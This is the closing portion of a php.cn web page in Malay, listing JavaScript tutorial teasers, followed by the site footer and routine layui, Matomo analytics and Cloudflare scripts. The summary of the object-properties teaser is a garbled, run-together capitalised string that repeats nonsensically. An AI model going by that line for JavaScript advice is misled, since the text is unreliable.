data-src="https://img.php.cn/upload/article/001/246/273/175817178343005.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="JavaScript menyedari kesan penukaran imej klik: tutorial profesional" /> </a> <a href="//m.sbmmt.com/ms/faq/1796898994.html" title="JavaScript menyedari kesan penukaran imej klik: tutorial profesional" class="phphistorical_Version2_mids_title">JavaScript menyedari kesan penukaran imej klik: tutorial profesional</a> <span class="Articlelist_txts_time">Sep 18, 2025 pm 01:03 PM</span> <p class="Articlelist_txts_p">Artikel ini akan memperkenalkan cara menggunakan JavaScript untuk mencapai kesan mengklik pada imej. Idea teras adalah menggunakan atribut data HTML5 untuk menyimpan laluan imej alternatif, dan mendengar klik acara melalui JavaScript, secara dinamik menukar atribut SRC, dengan itu menyedari penukaran imej. Artikel ini akan memberikan contoh dan penjelasan kod terperinci untuk membantu anda memahami dan menguasai kesan interaktif yang biasa digunakan ini.</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/ms/faq/1796887739.html" title="Cara mengemas kini sifat objek dalam javascript" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/431/639/175693308174056.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="Cara mengemas kini sifat objek dalam javascript" /> </a> <a href="//m.sbmmt.com/ms/faq/1796887739.html" title="Cara mengemas kini sifat objek dalam javascript" class="phphistorical_Version2_mids_title">Cara mengemas kini sifat objek dalam javascript</a> <span class="Articlelist_txts_time">Sep 04, 2025 am 04:58 AM</span> <p class="Articlelist_txts_p">USEDOTNOTATIONTOUPDATEPROPERIESSWITHITEDNAMES; 2.USEBEBRACKETNOTATIONFORDYNAMICORSPECIALCHARACTERPROPROPERYNAMES; 3.USEOBJECT.Assign () ToupdatemultiplePropertiesREbjects, NotingItmutatestheSheoriginessanEbjectiseStabjectiseStabjectSugoStaSteStrjectiseStabjectiseStabjectiseStabjectiseStern</p> </div> </div> <a href="//m.sbmmt.com/ms/web-designer.html" class="phpgenera_Details_mainL4_botton"> <span>See all articles</span> <img src="/static/imghw/down_right.png" alt="" /> </a> </div> </div> </div> </main> <footer> <div class="footer"> <div class="footertop"> <img src="/static/imghw/logo.png" alt=""> <p>Latihan PHP dalam talian kebajikan awam,Bantu pelajar PHP berkembang dengan cepat!</p> </div> <div class="footermid"> <a href="//m.sbmmt.com/ms/about/us.html">Tentang kita</a> <a href="//m.sbmmt.com/ms/about/disclaimer.html">Penafian</a> <a href="//m.sbmmt.com/ms/update/article_0_1.html">Sitemap</a> </div> <div class="footerbottom"> <p> © php.cn All rights reserved </p> </div> </div> </footer> <input type="hidden" id="verifycode" value="/captcha.html"> <script>layui.use(['element', 'carousel'], function () {var element = layui.element;$ = layui.jquery;var carousel = layui.carousel;carousel.render({elem: '#test1', width: '100%', height: '330px', arrow: 'always'});$.getScript('/static/js/jquery.lazyload.min.js', function () {$("img").lazyload({placeholder: "/static/images/load.jpg", effect: "fadeIn", threshold: 200, skip_invisible: false});});});</script> <script src="/static/js/common_new.js"></script> <script type="text/javascript" src="/static/js/jquery.cookie.js?1758588313"></script> <link rel='stylesheet' id='_main-css' href='/static/css/viewer.min.css?2' type='text/css' media='all' /> <script type='text/javascript' src='/static/js/viewer.min.js?1'></script> <script type='text/javascript' src='/static/js/jquery-viewer.min.js'></script> <script type="text/javascript" src="/static/js/global.min.js?5.5.53"></script> <script> var _paq = window._paq = window._paq || []; /* tracker methods like "setCustomDimension" should be called before "trackPageView" */ _paq.push(['trackPageView']); _paq.push(['enableLinkTracking']); (function () { var u = "https://tongji.php.cn/"; _paq.push(['setTrackerUrl', u + 'matomo.php']); _paq.push(['setSiteId', '9']); var d = document, g = d.createElement('script'), s = d.getElementsByTagName('script')[0]; g.async = true; g.src = u + 'matomo.js'; s.parentNode.insertBefore(g, s); })(); </script> <script> // top layui.use(function () { var util = layui.util; util.fixbar({ on: { mouseenter: function (type) { layer.tips(type, this, { tips: 4, fixed: true, }); }, mouseleave: function (type) { layer.closeAll("tips"); }, }, }); }); document.addEventListener("DOMContentLoaded", (event) => { // 定义一个函数来处理滚动链接的点击事件 function setupScrollLink(scrollLinkId, targetElementId) { const scrollLink = document.getElementById(scrollLinkId); const targetElement = document.getElementById(targetElementId); if (scrollLink && targetElement) { scrollLink.addEventListener("click", (e) => { e.preventDefault(); // 阻止默认链接行为 targetElement.scrollIntoView({ behavior: "smooth" }); // 平滑滚动到目标元素 }); } else { console.warn( `Either scroll link with ID '${scrollLinkId}' or target element with ID '${targetElementId}' not found.` ); } } // 使用该函数设置多个滚动链接 setupScrollLink("Article_Details_main1L2s_1", "article_main_title1"); setupScrollLink("Article_Details_main1L2s_2", "article_main_title2"); setupScrollLink("Article_Details_main1L2s_3", "article_main_title3"); setupScrollLink("Article_Details_main1L2s_4", "article_main_title4"); setupScrollLink("Article_Details_main1L2s_5", "article_main_title5"); setupScrollLink("Article_Details_main1L2s_6", "article_main_title6"); // 可以继续添加更多的滚动链接设置 }); window.addEventListener("scroll", function () { var fixedElement = document.getElementById("Article_Details_main1Lmain"); var scrollTop = window.scrollY || document.documentElement.scrollTop; // 兼容不同浏览器 var clientHeight = window.innerHeight || document.documentElement.clientHeight; // 视口高度 var scrollHeight = document.documentElement.scrollHeight; // 页面总高度 // 计算距离底部的距离 var distanceToBottom = scrollHeight - scrollTop - clientHeight; // 当距离底部小于或等于300px时,取消固定定位 if (distanceToBottom <= 980) { fixedElement.classList.remove("Article_Details_main1Lmain"); fixedElement.classList.add("Article_Details_main1Lmain_relative"); } else { // 否则,保持固定定位 fixedElement.classList.remove("Article_Details_main1Lmain_relative"); fixedElement.classList.add("Article_Details_main1Lmain"); } }); </script> <script> document.addEventListener('DOMContentLoaded', function() { const mainNav = document.querySelector('.Article_Details_main1Lmain'); const header = document.querySelector('header'); if (mainNav) { window.addEventListener('scroll', function() { const scrollPosition = window.scrollY; if (scrollPosition > 84) { mainNav.classList.add('fixed'); } else { mainNav.classList.remove('fixed'); } }); } }); </script> </body> </html><script defer src="https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015" integrity="sha512-ZpsOmlRQV6y907TI0dKBHq9Md29nnaEIPlkf84rnaERnq6zvWvPUqr2ft8M1aS28oN72PdrCzSjY4U6VaAw1EQ==" data-cf-beacon='{"version":"2024.11.0","token":"8c758bee214b4fe0858e454e5edf6f97","r":1,"server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script> <script>(function(){function c(){var b=a.contentDocument||a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'9836049d5e2ebe08',t:'MTc1ODU4ODMxMw=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script>